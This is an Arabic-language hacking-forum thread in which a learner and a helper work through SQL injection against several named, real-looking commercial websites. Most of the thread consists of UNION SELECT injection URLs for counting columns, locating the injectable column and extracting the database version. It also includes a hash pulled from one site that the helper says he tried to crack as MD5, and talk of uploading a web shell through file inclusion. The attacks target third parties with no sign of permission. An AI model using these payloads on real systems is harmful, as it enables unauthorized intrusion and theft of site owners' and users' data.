:: vBspiders Professional Network :: - استفسار الدرس الرابع.

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)

- جـــ'ابات العناكــ'ب (http://www.vbspiders.com/vb/f343.html)

- - استفسار الدرس الرابع. (http://www.vbspiders.com/vb/t37813.html)

استفسار الدرس الرابع.

السلام عليكم.

شباب انا حملت الدروس.

ولاكن وصلت لمشكله .

احد المواقع لقيته مصاب بالـSQL وهذا الرابط

http://www.sharghishop.net/zcat.php?id=1

بعد اضافه ' يعطيك خطا يعني الموقع مصاب.

ولآكن عندما نضع رقم 6 هكذا
http://www.sharghishop.net/zcat.php?id=-1 union select 1,2,3,5,6--

يعطيك رابط صوره. والصوره مش باينه.

يعني الموقع حامي حالو.

______________________

ننتقل لموقع ثاني. وهذا الرابط
http://www.cdbaran.com/zcat.php?id=1

اذا اضفنا ' بيعطيك
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/sidimibare/domains/cdbaran.com/public_html/zcat.php on line 393

Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in /home/sidimibare/domains/cdbaran.com/public_html/zcat.php on line 394

يعني مش معقوله بكتب 300 سطر .

مثلا 1,2,3,4,5,6,7,8,9,10,11,12,13 صعبه تكتبها لتوصل لـ300

ماهو الحل.

___________

وهذا موقع اخر كل ما تضيف عمود بيعطيك نفس الرساله وهي

The used SELECT statements have a different number of columns

والرابط:
http://www.sharghishop.net/zcat.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28,29--

_________________

newuser
هلا فيك
بنسبة لي الموقع هذا عندك عدد الاعمدة خطا

يعطيك العافيه خالد.

اي موقع انا حاط 3 روابط كل واحد غير عن الثاني

مع الشكر.

يعطيك العافيه خالد.

اي موقع انا حاط 3 روابط كل واحد غير عن الثاني

مع الشكر.

newuser

هلا فيك
بنسبة لي الموقع

هذا عندك عدد الاعمدة خطا

كود PHP:

   http://www.cdbaran.com/zcat.php?id=-1 UNION SELECT 1,2,44444444444,5,6--

لي العمود لصحيح يحب عليه التغير في الرقم
كمل على الموقع تشوف في نصف الصفحة 44444444444
يحب عليك التركيز
في نهاية يطلع هذا
beb0f24b92d23784fd7b62d74bed47d8d0e345da85e64f77c 15b833901f14d65
انا حولت فك في MD5 ولكن ماضبط معي

يالله نكمل الموقع الثاني

كود PHP:

   http://www.sharghishop.net/zcat.php?id=-1 union select 1,2,3,5,6--

عندك خطا في عدد الاعمده يكون عدد الاعمده 5
يصبح الرابط الصحيح كذا

كود PHP:

   http://www.sharghishop.net/zcat.php?id=-1 union select 1,2,3,4,5--

بس هنا ابيك تركز معي في الصفحة ولارقام بقوم بتغيررقم 3 اوكي
يصبح كذا

كود PHP:

   http://www.sharghishop.net/zcat.php?id=-1 union select 1,2,333333,5,6--

تفتح معاك الصفحة مافي اي مشكلة بس ابيك تروح لي نصف الصفحة عرض معلومات الصفحة شوف وركز رقم 3 تغير صح
فاهمت على
للتاكيد
اصدار القاعدة بدل في رقم 3
version()
هذا الرابط

كود PHP:

   http://www.sharghishop.net/zcat.php?id=-1 union select 1,2,

version(),4,5--

اصدار القاعدة
5.0.51

ونهاية احب اشكر الله سبحانه وتعالي وشكر ادارة المنتدي وعلى دوراتهم الناحجة
ارجو التقييم
مع السلامة
موفق

هذا موقع اخر.
http://www.cdvdcenter.com/zcat.php?id=1

عرفنا عدد الاعمده 5

ولآكن اذا كتبناها يعطيك مسج خطا.

كود:

http://www.cdvdcenter.com/zcat.php?id=-1+union+select+1,2,3,4,5--

كود PHP:

   The used SELECT statements have a different number of columns

يعطيك العافيه خالد.

معليش تعبناك.

خل المواقع الي فوق كلها.

ونشوف الموقع هذا.

http://www.sharghishop.net/zcat.php?id=1

عرفنا ان عدد اللاعمده خمسه بالامر order+by

ولاكن اذا حطينا الجمله هذي

http://www.sharghishop.net/zcat.php?...ct+1,2,3,4,5--

وحطينا عدد الاعمده الـ5

يعطيك رساله خطا ولا يبين لك الاعمده المصابه.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'select 1,2,3,4,5--' at line 1

ولايهمك ياغالي حاضرين

ابي ترجع الدورة الموجود مرة مريتن وثلاث بيك تخفظها من اسمك عشان تفهم حلو تسهل عليك

واناشرح لك فوق لو كانت مركز
طيب معلينا

http://www.sharghishop.net/zcat.php?...ct+1,2,3,4,5

تقول الموقع هذا عرفنا عدد الاعمدة حلو هو 5 على طول نستخدم الامر
UNION SELECT
لي ظاهر العمود المصاب
هذا الرابط الاول
http://www.sharghishop.net/zcat.php?...ct+1,2,3,4,5
عندك خطا هنا في الحقن (...ct) مدري من وين جبتها هذا او ل مره اشوفه اذكان له فايدة انا لاعلم فيها
ركز

كود PHP:

   http://www.sharghishop.net/zcat.php?id=1

ابيك تضيف UNION SELECT + او مسافه بعد رقم واحد ولاتنسى علامة - بعد علامة يسوي بعدها تضيف 1,2,3,4,5 في نهايه الحقن علامة -- اوكي وصلتك الفكره
يصبح الرابط

كود PHP:

   http://www.sharghishop.net/zcat.php?id=-1 UNION SELECT 1,2,3,4,5--

امممم الرساله لي تطلع لك
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
يقولك خطا في الموقع sql
حلو

انت هنا 100%100

كود PHP:

   http://www.cdvdcenter.com/zcat.php?id=-1+union+select+1,2,3,4,5--

يطلع المسج
The used SELECT statements have a different number of columns

انت معليك من المسج انت عليك تبحث عن العمود المصاب
تركز في الصفحة 100%تبحث تشوف ممكن المبرمج مخفي العمود
مثل
الان تفتح معاك الصفحة واناشرح لك فوق
مافي اي مشكلة بس تروح لي نصف الصفحة
كليك يمين عرض معلومات الصفحة او خصائص الصفحة تطلع نافذة تلاحظ فوق
مكتوب 3 :: Sharghishop.com :: يعني رقم3 هو العمودالمصاب لي نكمل عليه الحقن
نفس لي في الصورة
http://dl101.herosh.com/9416e5fb1e63...2f282/____.bmp

للتاكيد
استخرح اصدار القاعدة بدل في رقم 3
version()
هذا الرابط

كود PHP:

   http://www.sharghishop.net/zcat.php?id=-1 union select 1,2,

version(),4,5--

مافي اي مشكلة بس تروح لي نصف الصفحة
كليك يمين عرض معلومات الصفحة او خصائص الصفحة تطلع نافذة تلاحظ فوق
تغير صح طلع اصدار القاعدة

:d معليش تعبناك ياخالد.

كلآمك صحيح .

يعني الخطاء عندي اني ما ضغطت عرض خصائص الصفحه

طيب طلبنا الاصدار وعطانا .

5.0.51a-community :: Sharghishop.com ::

وش الخطوه الثانيه.

ياخي السكيول متعبه وخايسه.

يازين الريموت فايل انلكود ارفع الشل واشتغل.

خخخ.

كل الشكر.

newuser
لا عادي ولايهمك يمكن انت تابع الدورات لي في المنتدي في قسم الدورات تستفيد كثير
ولكن انا بسالك
فايل انلكود في موقع مصاب وكم نسبة اناسالت واحد يقول الان نسبة قليله وانا والله ماعلم
انا في نتظارك

يعطيك العافيه اخ خالد.

الحقيقه صحيح الثغره زي مايقلون انقرضه.

وقليل المواقع المصابه او نادر.

:)

بارك الله فيك مشكور ياغالي

رد: استفسار الدرس الرابع.

شكراااااااااااااااااااا